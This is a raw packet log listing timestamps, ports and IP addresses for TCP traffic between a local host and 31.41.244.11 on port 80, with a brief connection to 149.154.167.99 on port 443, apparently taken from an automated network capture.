Dec 19, 2024 16:10:30.973980904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.974039078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.974114895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.974245071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.974911928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.975045919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.975080967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.975116968 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.975917101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.975959063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.976125956 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.976738930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.976914883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.977020025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.977068901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.977118969 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.977890968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.977937937 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.978051901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.978190899 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.978874922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.978924036 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.978955984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.979046106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.979916096 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.979970932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.980036020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.980103016 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.980796099 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.980859995 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.980921984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.980967045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.981764078 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.981802940 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.981976032 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.982040882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.982837915 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.982889891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.982953072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.982996941 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.983724117 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.983767033 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.983860970 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.983974934 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.984738111 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.984817982 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.984882116 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.984920025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.985716105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.985759020 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.985821009 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.985991001 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.986644030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.986699104 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.986851931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.986888885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.987689972 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.987750053 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.987803936 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.987854958 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.988616943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.988660097 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.988723040 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.988761902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.989593983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.989641905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.989789963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.989876032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.990777016 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.990820885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.990876913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.990981102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.991657019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.991698980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.991714954 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.991786003 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.992569923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.992619038 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.992620945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.992651939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.993531942 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.993618965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.993649960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.993803978 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.994573116 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.994713068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.994729996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.994760990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.995543957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.995609999 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.995630980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.995696068 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.996516943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.996565104 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.997489929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.997502089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.997538090 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.997785091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.998245001 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.998439074 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.998548031 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.998586893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.999492884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.999618053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.999659061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.000489950 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.000525951 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.000593901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.000637054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.001430035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.001473904 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.001616955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.001663923 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.002371073 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.002398014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.002418041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.002428055 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.003397942 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.003484011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.003493071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.003528118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.004355907 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.004394054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.004405975 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.004475117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.145684004 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.145725012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.145757914 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.145781994 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.146070957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.146125078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.146173954 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.146212101 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.147073030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.147125959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.147172928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.147322893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.148020029 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.148078918 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.148313046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.148356915 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.148463964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.148509026 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.149292946 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.149363041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.149409056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.150259972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.150312901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.150363922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.150424004 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.150461912 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.151257992 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.151437998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.151489019 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.152250051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.152303934 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.152311087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.152349949 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.153242111 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.153316975 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.153379917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.153490067 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.154228926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.154330969 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.154367924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.155205965 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.155255079 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.155320883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.155498981 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.156148911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.156197071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.156537056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.157171011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.157218933 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.157267094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.158137083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.158180952 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.158248901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.159152031 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.159204960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.159213066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.160094023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.160142899 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.160192013 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.161098003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.161150932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.161211967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.162072897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.162122011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.162157059 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.162247896 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.163356066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.163431883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.163480997 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.164191008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.164235115 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.164314032 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.164787054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.165163040 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.165219069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.165267944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.165314913 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.166043997 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.166095972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.166130066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.166169882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.166939974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.167062044 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.167114019 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.168035030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.168076992 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.168086052 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.168113947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.168936968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.168986082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.169029951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.169198990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.169889927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.169934988 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.170005083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.170079947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.170891047 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.170941114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.170943022 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.170977116 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.171844959 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.172027111 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.172080994 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.172472000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.172836065 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.172879934 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.173022985 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.173278093 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.173965931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.174098015 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.174148083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.174766064 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.174896955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.174921036 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.175443888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.175920010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.175957918 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.176062107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.176773071 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.176820040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.176848888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.176903009 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.177720070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.177762985 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.177826881 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.178061008 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.178724051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.178761005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.178806067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.179143906 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.179683924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.179730892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.179760933 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.179795980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.180670977 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.180718899 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.180816889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.180912018 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.181845903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.181894064 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.181932926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.181976080 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.182667971 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.182720900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.182765007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.182806015 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.183598995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.183644056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.183655024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.183856964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.184617996 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.184659004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.184689999 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.184755087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.185664892 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.185718060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.185803890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.185902119 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.186600924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.186685085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.186768055 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.187033892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.187527895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.187577009 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.187604904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.187655926 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.188483953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.188582897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.188633919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.189524889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.189575911 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.189747095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.189788103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.190659046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.190705061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.190743923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.190783024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.191488028 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.191528082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.191663980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.191709042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.192467928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.192514896 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.192593098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.192728996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.193490028 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.193506956 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.193551064 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.193551064 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.194693089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.194715977 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.194757938 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.194777966 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.196248055 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.196269035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.196319103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.196424961 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.196471930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.196508884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.196564913 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.288016081 CET	49903	443	192.168.2.6	149.154.167.99
Dec 19, 2024 16:10:31.288078070 CET	443	49903	149.154.167.99	192.168.2.6
Dec 19, 2024 16:10:31.288140059 CET	49903	443	192.168.2.6	149.154.167.99
Dec 19, 2024 16:10:31.301214933 CET	49903	443	192.168.2.6	149.154.167.99
Dec 19, 2024 16:10:31.301248074 CET	443	49903	149.154.167.99	192.168.2.6
Dec 19, 2024 16:10:31.339335918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.339418888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.339430094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.339478970 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.339876890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.339931965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.339960098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.340008020 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.340837002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.340888977 CET	49881	80	192.168.2.6	31.41.244.11
